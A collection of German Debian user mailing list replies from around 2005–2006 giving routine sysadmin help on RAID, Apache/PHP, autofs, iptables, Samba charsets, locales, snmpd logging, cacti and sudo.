Re: AW: fremdes RAID1 einbinden
* Roger Rehnelt [EMAIL PROTECTED] wrote: In grub hab ich nix gemacht. Ich habe lediglich die Datei mdadm im init.d Verzeichnis modifiziert (den start- und stopteil): server01:~# cat /etc/init.d/mdadm [ ... manuelle RAID-Start-Anweisungen ... ] Bei mir (Sarge) ist /etc/init.d/mdadm für das Starten des mdadm-Daemons (zum Überwachen der RAID-Sets) verantwortlich, hat also mit dem Assemblieren der RAID-Sets nichts zu tun. Dafür ist /etc/init.d/mdadm-raid verantwortlich. Dort wird ausgewertet, ob in /etc/default/mdadm AUTOSTART=YES gesetzt ist und gesetzt den Fall werden existierende RAID-Sets laut der bereits erwähnten Konfiguration aus /etc/mdadm/mdadm.conf assembliert bzw. wenn diese Konfig nicht vorhanden ist, wird auf mdrun ausgewichen. Poste bitte mal die Ausgabe folgender Befehle: - cat /etc/default/mdadm - cat /etc/mdadm/mdadm.conf - grep CONFIG_MD /boot/config-$( uname -r) - fdisk -l /dev/sda /dev/sdb Sebastian -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Nach (etch-)Neuinstallation funzt php nimmer
* Geronimo Ma. Hernandez [EMAIL PROTECTED] wrote: Nur bei apache2 und php5 bekomme ich es nicht gebacken. Anfangs dachte ich, es liegt an dem fehlenden Link für php in mods-enabled - und habe diesen eingefügt. Jetzt wurde php wenigstens im Status mit angezeigt. Allerdings öffnet sich bei jeder php-Datei ein download-Fenster im Browser. Hast Du sowohl die php5.load als auch die php5.conf nach mods-enabled verlinkt? Falls nicht schon bekannt, verwende dafür den kleinen Helfer a2enmod, der erspart Dir das manuelle Verlinken und verlinkt gleich beide Dateien. Sebastian -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: (Semi OT) Debian, PHP und negatives Datum
* Jim Knuth [EMAIL PROTECTED] wrote: Ein Freund von mir will per php ein Datum/Zeit (z.B 05.06.1954, 16.31 Uhr) im Browser ausgeben lassen. Dazu benutzt er folgendes Script: --snip ? $date = mktime (16,31,00,06,05,1954); echo brb.date(d.m.Y H:i,$date); ? --snap Es kommt aber immer raus: 01.01.1970 00:59 Ist das ein Syntaxfehler oder hat da php nen Bug. Das ist ein Denkfehler im Eingabewert. , de.php.net/mktime | Gibt den Unix Timestamp/Zeitstempel an Hand der gegebenen Argumente | zurück. Der Zeitstempel ist ein long-integer-Wert, der die Anzahl der | Sekunden zwischen der UNIX Epoche (January 1 1970 00:00:00 GMT) und der | angegebenen Zeit enthält. ` 1954 liegt vor dem 01.01.1970 und somit kann mktime auch keinen sinnvollen Wert zurückgeben. Schaut Euch den Inhalt von $date an, da wird wohl was Negatives drinstehen. Sebastian -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: (Semi OT) Debian, PHP und negatives Datum
* Jim Knuth [EMAIL PROTECTED] wrote: Heute (18.11.2006/00:57 Uhr) schrieb Max Muxe, * Jim Knuth [EMAIL PROTECTED] wrote: Ein Freund von mir will per php ein Datum/Zeit (z.B 05.06.1954, 16.31 Uhr) im Browser ausgeben lassen. Dazu benutzt er folgendes Script: --snip ? $date = mktime (16,31,00,06,05,1954); echo brb.date(d.m.Y H:i,$date); ? --snap Es kommt aber immer raus: 01.01.1970 00:59 Ist das ein Syntaxfehler oder hat da php nen Bug. Jetzt werde ich mal Verwirrung stiften: Bei mir (SuSE-Server als Webserver im LAN) klappt das! Ich bekomme in Fettschrift das Datum angezeigt! Kurzzeitige Verwirrung entwirrt. Negative Zeitstempel waren mir neu, aber man lernt ja nie aus. und wieso klappt das bei Debian dann nicht? Hmpf, siehe: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=196177 Regression Bug in der libc die mit Sarge kommt. Wieder gefixt in 2.3.5-1, mit etch wirds also funktionieren. Sebastian -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: samba und automount
* Thomas [EMAIL PROTECTED] wrote: Ok, habe ich geändert, funktioniert noch immer nicht. Weder mit smbfs noch mit cifs. Ich sehe nun, daß es die Alternative gibt den Mountpoint in die fstab einzutragen. Es bleibt aber der Frust, daß ich keinen Ansatz kenne um herausfinden zu können warum autofs nicht funktioniert. Ich meine, das muss doch einen nachvollziehbaren Grund haben. In /var/log/messages steht nichts dazu drin. Gibt es noch andere Logs, die ich zur Fehlersuche heranziehen könnte? Kurze Antwort: - Nimm die Execute-Rechte von /etc/auto.nova - /etc/init.d/autofs restart - Gut ist Inzwischen bewerte ich es für mich persönlich wichtiger ein Verfahren zur Fehlersuche kennenzulernen, da ich das Problem Ich denke ich habe alles richtig eingestellt, aber es funktioniert nicht wie gewünscht schon oft erlebt habe. Dann wollen wir mal. Lange Antwort: Wenn Du das doch recht umfangreiche Init-Skript von autofs mittels bash -x /etc/init.d/autofs start siehst Du gegen Ende, wie der automounter für einen bestimmten Mountpunkt gestartet wird (nachgestellt für Deine Pfadangaben). , | start-stop-daemon --start --pidfile /var/run/autofs/_mnt_autofs.pid \ | --quiet --exec /usr/sbin/automount -- \ | --pid-file=/var/run/autofs/_mnt_autofs.pid --timeout=300 \ | /mnt/nova program /etc/auto.nova ` Dabei das Debian-spezifische rausgeschnippelt ergibt in etwas das, was auch in der manpage von automount zum Starten zu finden ist. automount [options] mount-point map-type[,format] map [map-options] Im Falle von /etc/init.d/autofs bekommst Du was ähnliches auch bereits mit dem Parameter status zu sehen. bash -x ist lediglich etwas universaler, kann also ggf. auch bei anderen Init-Skript-Problemen verwendet werden. Nun steht bei Deinem map-type program und laut kurzem Blick in die manpage von autmount versucht autofs in diesem Fall, die angegebene Map (/etc/auto.nova) auszuführen, anstatt sie direkt zu lesen. Eigentlich sollte dort file stehen. Wieso also wurde der automount mit der falschen Option gestartet? Fürs Festlegen der Optionen und Starten des Daemons ist das Init-Skript /etc/init.d/autofs verantwortlich. Diese Datei geöffnet und nach program gesucht, findet sich , | elif `echo $map | grep -q ^/` [ -x $map ]; then | maptype=program | elif [ -x /etc/$map ]; then | maptype=program ` $maptype wird also auf program gesetzt, insofern $map ausführbar ist. Das vorwärts und rückwärts gecheckt (wo kommt $map her, wo wird $maptype weiterverwendet) und es ist klar, wo der Fehler liegt. Deine Map ist _kein_ Programm, wird aber aufgrund der gesetzten Execute-Rechte vom Init-Skript so behandelt. Sebastian -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: ssl 3.0
* Boris Andratzek [EMAIL PROTECTED] wrote: wir haben hier einen Apache laufen u.A. mit openssl. Nun ist der Firefox 2.0 rausgekommen und der kann ja kein ssl 2.0 mehr. Ich finde nur sehr wenig bis kein Info dazu, was ich machen muss, damit unser openssl (0.9.7g-1) ssl 3.0 'spricht'. Wenn Du mit damit unser openssl ssl 3.0 spricht mod_ssl von Apache 2.x und dessen Konfiguration meinst, wirst Du in der mod_ssl-Doku unter http://httpd.apache.org/docs/2.0/mod/mod_ssl.html http://httpd.apache.org/docs/2.2/mod/mod_ssl.html fündig. Sollte standardmäßig (d.h. insofern nicht andersweitig konfiguriert) bereits SSLv3 sprechen. Kannste direkt mit openssl s_client -connect euer.host.de:443 -ssl3 testen. Sebastian -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Sarge + Intel 5000V, Erfahrungen?
Hallo zusammen, hat jemand von Euch Sarge erfolgreich auf einem Board mit Intel 5000V Chipsatz im Einsatz (falls ja, mit ggf. welchen Anpassungen. Neuerer Kernel, udev, ...)? Bin aktuell am Server dimensionieren und wüsste gerne ob/wieviel Aufwand betrieben werden muss, um den Chipsatz ordnungsgemäß ansteuern zu können. Sebastian -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: [OT] USV-Frage
* Andre Timmermann [EMAIL PROTECTED] wrote: Am Donnerstag, den 16.11.2006, 14:22 +0100 schrieb Reinhold Plew: Wenn Du es genau wissen willst, brauchst Du: 1. Die Leistungsaufnahme Deines Servers dafür - also messen. Da wird es, mangels Messgeräte, schwierig. Die meisten Stadtwerke verleihen solche Geräte an Ihre Stromkunden gebührenfrei. Einfach mal dort anfragen. Und ich nehme nicht an, dass ein Rechner mit 300W-Netzteil diese 300W auch ständig braucht. Korrekt. Das ist ja nur die maximale Leistungsaufnahme. Wenn also im Normalbetrieb (Mail, kleiner Webserver ohne viel Last, etc...) keine 300W benötigt werden ... Exemplarisch: Bei einer Workstation mit P4 3GHz, 1 Platte und 330W Netzteil hatte ich vor ein paar Monaten im Idle Betrieb 110 Watt gemessen. Sebastian -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: [SOLVED] iptables: Pro blem mit der Namenauflösung (name resolution)
* Claudius Hubig [EMAIL PROTECTED] wrote: Jan Luehr [EMAIL PROTECTED] wrote: ja hallo erstmal,... Am Sonntag, 18. Dezember 2005 11:11 schrieb Claudius Hubig: Hallo Liste, ich bin zur Zeit dabei, zu versuchen, mein Netzwerk mittels iptables abzudichten. Dazu bin ich nach http://www.online-tutorials.net/internet-netzwerk/iptables-tutorial/tutoria ls-t-29-214.html vorgegangen, habe jetzt jedoch ein Problem mit der Namenauflösung. ping IP funktioniert problemlos, während bspw. ping google.de nur einen unknown host meldet. Das zugehörige Script sieht folgendermaßen aus: #!/bin/bash IPTABLES=/sbin/iptables EXT_DEV=eth1 INT_NET=192.168.0.0/24 #Ports to Forward FORWARD_1_TCP=21,22,25,53,80,110,119,443,1716,1717,1718,1719 FORWARD_2_TCP=2341,2342,5050,5190,5222,6667,6668,8000,8080 FORWARD_UDP=53,1716,1717,1718,1719 [...] /sbin/iptables -t filter -A INPUT -p udp -m multiport --dport $INPUT_UDP -j ACCEPT echo Input Rules were set Das kam bei dir so an? - Entschuldige bitte. Müsste es hier nicht eher sport heißen? Mhm, ja, mit sport geht es - aber warum? Ich meine da kommt ja was Rein, das auf einen bestimmten Port will. Dieser ist doch 53, oder? Der Sourceport dürfte da doch keine Rolle spielen. *verwirrtsei* - Da werde ich auf alle Fälle nochmal was zu nachlesen - aber es geht ja jetzt, danke :) Über das ACCEPT im OUTPUT-Table für Ziel-Port UDP/53 gingen die DNS-Anfragen zwar raus (von einem unpriviligierten Quell-Port 1024), die Antworten vom entfernten Port UDP/53 zurück an Deinen lokalen unpriviligierten Quell-Port UDP/1024 kamen jedoch nicht mehr durch die Regeln Deines INPUT-Tables zurück. Mit Deinen aktuellen Regeln musst Du jeglichen Rückverkehr ebenfalls erlauben. Die Regel von Jan hat dies nun für DNS ermöglicht, mache es Dir hier einfacher und nimm eine Zeile a la iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT in Deinen INPUT-Table auf. Die erlaubt jeglichen Rückverkehr für ausgehende Verbindungen (insofern iptables mit dem Protokoll klarkommt, für FTP muss z.B. noch conntrack_ftp als Modul hinzugeladen werden). Generell musst du aber aufpassen, nicht alles, was von sport 53 kommt hereinzulassen ;) Joa, aber ob ich den jetzt noch extra öffne, wenn ich den Rest abschließe oder er sowieso offen ist, weil da der named drauf lauscht, dürfte doch eigentlich egal sein, oder? ;) ?? - sebastian
Re: pop3/tcp failing und ipop3d lock
* Michael Gustav Simon [EMAIL PROTECTED] wrote: mein POP3 Dienst erzeugt sporadisch folgende Fehlermeldungen. ... Dec 13 18:33:48 myhost inetd[5829]: pop3/tcp server failing (looping), service terminated Die manpage des inetd als auch google geben über obige Meldung Auskunft. http://www.eudora.com/techsupport/kb/2260hq.html Sprich, Dein inetd erhält mehr Anfragen innerhalb einer Minute, als vorgesehen sind und inetd deaktiviert den Service erst einmal. ... und ... Dec 13 19:52:26 myhost ipop3d[24320]: connect from ... Dec 13 19:52:26 myhost ipop3d[24320]: pop3 service init from ... Dec 13 19:52:26 myhost ipop3d[24320]: Trying to get mailbox lock from process 17345 Dec 13 19:52:40 myhost ipop3d[24320]: Mailbox is open by another process, access is readonly Dec 13 19:52:40 myhost ipop3d[24320]: Error opening or locking INBOX user=apfel host=... Dec 13 19:52:40 myhost ipop3d[24320]: Login user=apfel host=... no mailbox Dec 13 19:52:40 myhost ipop3d[24320]: Expunge ignored on readonly mailbox Dec 13 19:52:40 myhost ipop3d[24320]: Logout user=apfel host=... nmsgs=1 ndele=0 ... Die Clients erhalten ein timeout oder der Benutzer wird nicht akzeptiert. Wie kann ich zur Behebung diesen Fehelr analysieren? Da hängt wohl noch ein anderer Prozess auf der Mailbox. lsof /pfad/zur/mailbox sollte Dir sagen, welcher das ist. Mit der Information kannst Du dann weiter analysieren. - sebastian
Re: tomcat4 Prozesse
* Andreas Pakulat [EMAIL PROTECTED] wrote: On 14.12.05 12:36:07, Klaus Dahlwitz wrote: Michael Gustav Simon [EMAIL PROTECTED] wrote: eine Frage zu tomcat4 unter debian. Wieso werden unter debian 28 Prozesse gestartet? $ /etc/init.d/tomcat4 start $ ps -u tomcat4 | wc Zeigen 28 java-Prozesse. Andere Distrubitionen wie Fedora Core 4 und SuSE 8 starten ein Prozess. Identische Konfiguration? Ich habe hier ein Testsystem mit woody, apache 1.3.26, tomcat 4.1.31 (apache und tomcat per connector verbunden) -- ich sehe 28 java-Prozesse; meines Wissens handelt es sich hierbei um eine Abbildung der java-threads auf Linux-Prozesse. Hmm, das letztere koennte in der Tat eine Erklaerung sein, IIRC hat Java unter Linux 2 moegliche Implementierungen fuer Threads und AFAIK kann man die auch irgendwie wechseln. Meinst Du evtl. die generellen Threads-Implementierungen (nichts Java-Spezifisches), die sich per LD_ASSUME_KERNEL steuern lassen? http://people.redhat.com/drepper/assumekernel.html Wie sich multiple Threads von multiplen Prozessen mit den pstools unterscheiden lassen, würde ich aber auch mal gerne wissen. - sebastian
Re: laufender Angriffsversuch?
* Hans-Juergen Tappe [EMAIL PROTECTED] wrote: André Bischof wrote: Danke euch allen für die Tipps, speziell Sachen wie sshfilter werde ich mir mal angucken. root-login geht auch nicht, über portknocking hatte ich mal nachgedacht, sollte ich vielleicht nochmal tun :-) Gibt's eigentlich Programme/Skripts/Anleitungen für portknocking oder sshfilter für die debian-Distribution oder ist das angedacht? sshfilter selbst nicht, aber ab etch ist fail2ban enthalten, was in etwa das Gleiche leistet. Für Portknocking muss ich passen, Du kannst ja mal auf debian.de die Paketverzeichnisse durchsuchen. - sebastian
Re: Verwendung von OpenSSH -Schlüsseln in PuTTY (was: laufender Angriffsversuch?)
* Ace Dahlmann [EMAIL PROTECTED] wrote: On Mon, 12 Dec 2005 19:25:02 +0100 Andreas Pakulat [EMAIL PROTECTED] wrote: ?? Wozu gibts usb-sticks? Ok, mit putty als client ists bisschen problematischer... Ich meinte vor allem in Hinblick darauf dass man die Keys zur Verwendung mit Putty erst in dessen Format konvertieren muss - jedenfalls IIRC und AFAIK. Ja, ich kann mich auch dunkel erinnern, dass das nicht direkt so ging. Und da ich das jetzt wohl auch bald wieder wo anwenden muss,... evtl. kann uns jemand da auf die Sprünge helfen!? :-) Ja, PuTTY verwendet ein eigenes Format für den privaten Schlüssel. ,-[ PuTTY FAQ ] | ... | A.2.2 Does PuTTY support reading OpenSSH or ssh.com SSH-2 private key | files? | | PuTTY doesn't support this natively, but as of 0.53 PuTTYgen can convert | both OpenSSH and ssh.com private key files into PuTTY's format. | ... `-- PuTTYgen generiert Schlüssel im PuTTY-Format und beherrscht Formats- Konvertierungen in beide Richtungen, sprich OpenSSH zu PuTTY und vice versa. Die öffentlichen Pendants Eurer Schlüssel in diversen authorized_keys funktionieren weiterhin. Lediglich der private Schlüssel muss zur Verwendung mit PuTTY konvertiert werden. Ich hab' hier auf meinem USB-Stick sowohl einen im PuTTY- als auch im OpenSSH-Format. - sebastian
Re: Alternative zu tinyurl.com
* Andreas Kroschel [EMAIL PROTECTED] wrote: * Sebastian Kayser: P.S.: Gibt es eine Alternative zu tinyurl.com, das war grad wieder l a n g s a m ? shorl.com. Dazu passend gibts shorlfilter, durch den Du Deine Texte zum URL-Kürzen jagen kannst, auch als Debian-Paket. Besten Dank. Speziell shorlfilter ist wirklich praktisch. - sebastian
Re: locates Datenbank leer
* André Bischof [EMAIL PROTECTED] wrote: Hallo, mein locate bzw. updatedb will nicht mehr: [EMAIL PROTECTED]:/var/log# locate -S Database /var/cache/locate/locatedb is in the LOCATE02 format. Locate database size: 10 bytes Filenames: 0 with a cumulative length of 0 bytes of which 0 contain whitespace, 0 contain newline characters, and 0 contain characters with the high bit set. Compression ratio -inf% Ich hab sogar schon die findutils auf unstable upgedated, weil ich dachte dass die alten vielleicht kaputt sind, bringt aber keine Änderung. updatedb wird ausgeführt ohne Fehler, ist aber sofort fertig (1s). Nichts in syslog|messages. Bislang wurde die DB immer via cron aktualisiert, /etc/updatedb.conf scheint mir auch richtig zu sein, ich hab da keine Idee - habt ihr eine? Schonmal /var/cache/locate/locatedb gelöscht? - sebastian
Re: locates Datenbank leer
* André Bischof [EMAIL PROTECTED] wrote: Sebastian Kayser schrieb: ... Schonmal /var/cache/locate/locatedb gelöscht? hab's gerade probiert, wenn ich dann updatedb mache, wird sie wieder neu angelegt, aber nur mit 10b Größe, wie vorher. Schau Dir mal http://tinyurl.com/dvogp an. Evtl. hat nicht updatedb selbst ein Problem, sondern etwas, mit dem updatedb arbeitet. Wie ist denn der Rückgabewert von updatedb? Notfalls lasse updatedb mal mit nem strace laufen und schaue Dir an, womit er Probleme hat. Hier vielleicht doch mal die updatedb.conf, an der ich (händisch) aber auch nichts geändert habe. Irgendwie verstehe ich nicht warum das nicht klappt, /var hat auch noch über 3GB Platz, daran kann's also auch nicht liegen. Wie kann man (händisch) nichts ändern?! ;) - sebastian P.S.: Gibt es eine Alternative zu tinyurl.com, das war grad wieder l a n g s a m ?
Re: locates Datenbank leer
* Frank Terbeck [EMAIL PROTECTED] wrote: André Bischof [EMAIL PROTECTED] wrote: Sebastian Kayser schrieb: ... Schonmal /var/cache/locate/locatedb gelöscht? hab's gerade probiert, wenn ich dann updatedb mache, wird sie wieder neu angelegt, aber nur mit 10b Größe, wie vorher. du könntest einmal % sh -x /usr/bin/updatedb versuchen, und schauen, ob dir etwas verdächtiges dabei auffällt. Deine updatedb.conf sieht so aus wie meine. Ähm, ok, vergesse das strace aus meiner letzten Mail ... - sebastian
Re: MaraDNS
* lars behrens [EMAIL PROTECTED] wrote: allerdings nützt mir das immer noch nichts bei dynamischen clients. kann einfach sein, dass ISC-Dhcpd und MaraDNS an diesem Punkt nicht zussammenarbeiten. wäre aber auch nicht 1. priorität. Wie gesagt, das Stichwort ist DDNS. Google und die MaraDNS-Seite schweigen sich dazu jedoch aus. Keine Ahnung, ob der ISC-DHCPD überhaupt mit anderen DNS-Servern als dem Bind DDNS fahren kann. Wenn Du es wirklich wissen willst, frage a) den Entwickler von MaraDNS http://www.maradns.org/contact.html b) auf der dhcp-server Mailingliste http://www.isc.org/index.pl?/sw/dhcp/ Die werden besser Bescheid wissen, als wir hier. - sebastian
Re: Umstellung Samba 2 auf 3, Zeichensatz
* Robert Einsle [EMAIL PROTECTED] wrote: ich bin gerade dabei, etliche meiner Woody-Installationen auf Sarge upzudaten. Immerwieder habe ich das Problem, dass bei daten, die über Samba abgelegt wurden, dann die Umlaute nicht mehr passen. Kennt jemand ne Lösung dafür, bzw. weiss jemand, was ich tun kann? Auf Windows-Seite im Share sehen die Umlaute OK aus, auf dem Samba-Host selbst sind die Umlaute im Dateinamen zerhackstückelt? Samba 3 spricht mit seinen Clients Unicode (bis auf alte DOSen). Insofern Du auf dem Samba-Host selbst kein Unicode fährst, suchst Du nach der Direktive unix charset, mit der Du Samba sagst, welcher Zeichensatz auf dem Samba-Host zu fahren ist (display charset solltest Du synonym setzen). - sebastian
Re: MaraDNS
* lars behrens [EMAIL PROTECTED] wrote: ich habe hier maradns auf debian sarge 3.1 aufgesetzt. die namensauflösung geht wunderbar, nur habe ich zwei punkte, bei denen mir doku und usergroups nicht weitergeholfen haben: - ich möchte in unserem LAN nicht immer den gesamten domainnamen mit angeben, ein ping auf mueller soll also eine antwort von mueller.unser-netz.lokal zurückgeben. Hier kommt Client-seitig die DNS-Suffix-Suchliste mit ins Spiel. Das ist die Liste gleichen Namens in der TCP/IP-Konfiguration des Windows-Netzwerkadapters oder aber die search-Anweisungen in /etc/resolv.conf für Linux/Unix-Hosts. Bei manueller Netzwerkkonfiguration musst Du diese Liste ebenso manuell um unser-netz.lokal ergänzen, ansonsten ist das eine Konfigurationsoption des DHCP-Servers. - unsere NT- und W2k-DNS-Server listen zusätzlich noch bei den dhcp-hosts im LAN die zuteilung IP-Adresse = hostname; mueller.unser-netz.lokal kann also heute die IP 192.168.0.17 und morgen die IP 192.168.0.99 haben, trotzdem kann ich im LAN den host immer per ping mueller erreichen. was wäre das äquivalent dafür unter MaraDNS? oder sind diese features nur in BIND9 implementiert? Keine Ahnung, was MaraDNS angeht (muss ich mir mal bei Gelegenheit anschauen), bei Bind sind das dynamische DNS Updates. Der DHCP-Server, welcher die Leases verteilt, muss dafür sorgen, dass die entsprechenden Updates im DNS getätigt werden. Es gehören also zwei Seiten dazu, DHCP-Server und DNS-Server. Mit dem ISC dhcpd (Paket dhcpd3-server) und bind9 funktioniert das hier (bind-Direktiven ddns-key / allow-update). - sebastian
Re: Problem mit locales
* Torsten Geile [EMAIL PROTECTED] wrote: perl: warning: Setting locale failed. perl: warning: Please check that your locale settings: LANGUAGE = de_DE:de:en_GB:en, LC_ALL = (unset), LANG = de_DE are supported and installed on your system. perl: warning: Falling back to the standard locale (C). locale: Cannot set LC_CTYPE to default locale: No such file or directory locale: Cannot set LC_MESSAGES to default locale: No such file or directory locale: Cannot set LC_ALL to default locale: No such file or directory /usr/bin/locale: Cannot set LC_CTYPE to default locale: No such file or directory /usr/bin/locale: Cannot set LC_MESSAGES to default locale: No such file or directory /usr/bin/locale: Cannot set LC_ALL to default locale: No such file or directory Ein Auszug aus /etc/environment sieht so aus: LANGUAGE=de_DE:de:en_GB:en Lang=DE [EMAIL PROTECTED] In /etc/locale.gen steht [EMAIL PROTECTED] ISO-8859-15 #en_GB.ISO-8859-15 ISO-8859-15 Was muss ich denn wo einstellen bzw. neuinstallieren? Prüfe mit locale -a, ob [EMAIL PROTECTED] überhaupt richtig generiert wurde, lasse ggf. dpkg-reconfigure locales nochmals laufen, mit locale -a wieder gegenprüfen, ausloggen, einloggen. Mit locale prüfen, ob /etc/environment ordnungsgemäß ausgewertet wurde und z.B. perl -v aufrufen, das dann nicht mehr meckern sollte. Die Einstellung LANGUAGE in /etc/environment sagt mir erstmal nichts, Lang ist wohl nur zu Testzwecken bzw. fehl am Platz, denn das System verwendet LANG. - sebastian
Re: Umstellung Samba 2 auf 3, Zeichensatz
* Andreas Vögele [EMAIL PROTECTED] wrote: Sebastian Kayser writes: Samba 3 spricht mit seinen Clients Unicode (bis auf alte DOSen). Insofern Du auf dem Samba-Host selbst kein Unicode fährst, suchst Du nach der Direktive unix charset, mit der Du Samba sagst, welcher Zeichensatz auf dem Samba-Host zu fahren ist [...] Alternativ könnte Robert seine Dateinamen auch mit Hilfe des Programms convmv in UTF-8 umwandeln, wenn sie momentan noch mit Latin-1 oder CP850 kodiert sind. Gute Alternative. Dann sollte jedoch sichergestellt werden, dass auch sein System mit UTF-8 läuft, sonst bekommt er auf der Kommandozeile Probleme mit der Anzeige der Datei- bzw. Ordernamen. - sebastian
Re: squirrelmail und php5
* Fatih Ekrem Genc [EMAIL PROTECTED] wrote: hi nach dem ich auf php5 um geschtigen bin lauft die squirrelmail nicht mehr die fehler lautet folgendes : Fatal error: Call to undefined function session_id() in /usr/share/squirrelmail/functions/global.php on line 331 wie kann ich es beheben? Groß-/Kleinschreibung kaputt? Woher hast Du denn Dein PHP5. Fährst Du testing oder selbst kompiliert? Insofern selbst kompiliert sollte Dir google.de: squirrelmail php5 session_id direkt mit dem ersten Hit weiterhelfen. - sebastian
Re: snmpd[1283]: Connection from UDP: [127.0.0.1]:32789
* Ronny Wagner [EMAIL PROTECTED] wrote: seit geraumer Zeit bekomme ich im 5 min. Rhytmus die o.g. Meldung in meinem Syslog. Das sind normale SNMP-Kontaktaufnahmen, die Dein snmpd mit der obigen Meldung protokolliert. Hast Du Cacti o.ä. laufen, was 5-minütlich Kommunikationsbedarf mit Deinem Host hat? Hättet Ihr eine Ahnung, wie ich diese Meldung wegbringe, außer den snmpd-Dienst zu deaktivieren? Gibts da irgendwo eine Einstellung in der snmpd.conf? Für das Logging kennt snmpd ein paar Startparameter, die sich in /etc/default/snmpd über die Variable SNMPDOPTS setzen lassen (siehe auch man snmpcmd und dort den Abschnitt LOGGING OPTIONS). Konkret hast Du mehrere Alternativen: *) Syslog-Logging des snmpd komplett deaktivieren bzw. ihn in eine Datei loggen lassen (-Lsd entfernen bzw. -Lf /dev/null durch geeignete Datei ersetzen und diese in die Rotierung durch logrotate aufnehmen). Dann siehst Du die Meldungen nicht mehr in den üblichen Syslog-Logdateien, sondern garnicht bzw. andernorts. *) Syslog-Logging des snmpd auf eine Meldungen der Stufe NOTICE und höher beschränken (-Lsd durch -LS 5 d ersetzen). Beides erfordert einen Restart des snmpd, dann kannst Du mal einen snmpwalk auf localhost laufen lassen und solltest keine entsprechende Log-Meldung mehr sehen. In Variante zwei meldet snmpd bei mir aktuell garnix mehr, ist also Geschmackssache, wie man das einstellt (Hallo snmpd, lebst/loggst Du noch?!) und ob man protokolliert haben möchte, welcher SNMP-Client mit dem snmpd Kontakt aufgenommen hat. - sebastian
Re: cacti und rrdtools auf vserver, geht das?
* Christian Frankerl [EMAIL PROTECTED] wrote: ich hab bei server4you einen vserver und wollte als diagnosetool cacti laufen lassen. Anscheinend bekommen die rrdtools keine Daten auf dem vserver. Zumindest fehlen bei den Standardgraphen (LoadAVG usw.) die Graphen. Auch nach knapp 30 min sind immer noch keine Werte verfügbar. Hast Du auch den Poller von Cacti per Cron eingerichtet? Wenn ja, rufe den doch mal manuell auf und schaue Dir dessen Ausgabe auf Probleme hin an. Eine weitere Frage hätte ich noch. Ich hab cacti ebenfalls auf meine Router laufen, allerdings schaffe ich es nicht die CPU Last in % mir angeben zu lassen. Loadavg, Prozesse usw. sind kein Problem. Wie kann ich mir aber die CPU Auslastung in % anzeigen bzw. protokollieren lassen? Ich hab nur den Cisco - CPU und den upd/net - CPU gefunden, was ja nicht dem CPU des Rechners entspricht oder? Wenn Du auf dem Router net-snmp (Paket snmpd) installierst, kann Du per ucd/net - CPU auch dessen CPU-Last mittels SNMP abgreifen. Für die notwendigen Rechte musst Du in der Standardkonfiguration des snmpd von sarge (/etc/snmp/snmpd.conf) das Mapping der community public auf den Security-Namen paranoid auskommentieren, das Mapping von public auf readonly entkommentieren (suche nach den Zeilen mit com2sec) und dem snmpd einen Reload geben. Alternativ kannst Du auch die komplette Standardkonfiguration über Bord schmeissen und snmpd.conf lediglich mit rocommunity public 127.0.0.1 befüllen. Das ist dann die einfachere Variante der Rechtevergabe. Evtl. findest Du in den Cacti-Foren noch ein alternative Variante ohne lokalen snmpd an die lokale CPU-Last zu kommen, wenn dort schonmal jemand ein entsprechendes Input-Skript gebastelt hat. Ich würde mir jedoch den snmpd installieren (wenn ich ihn nicht sowieso schon laufen hätte). - sebastian
Re: sudo für Dummys
* Ulrich Fürst [EMAIL PROTECTED] wrote: Sebastian Kayser [EMAIL PROTECTED] wrote: schätze localhost wäre synonym mit ALL. Nein, das Synonym ist LOKAL. Z.B. ulrich LOKAL=PASSWD: /usr/sbin/eximon Ob in der sudoers nun ALL oder eine eingegrenzte Host_List hinterlegt wird, ist doch nur für Umgebungen relevant, in denen die sudoers nicht lokal sondern zentral in z.B. einem LDAP-Verzeichnis gepflegt wird (gibt es noch weitere zentralisierte sudoers-Varianten?). Daher meinte ich, sobald ein Eintrag a la localhost von sudo akzeptiert werden würde, wäre das in einer solchen Umgebung de facto ein ALL. Zu Deinem LOKAL. LOKAL ist zumindest bei mir kein allgemeingültiger Host_Alias, das ist wohl ein bei Dir gesetzter Alias auf Deinen hostnamen bzw. Deine IP, oder? - sebastian
Re: Programm, um den Speicherverbrauch von Verzeichnissen zu ermitteln
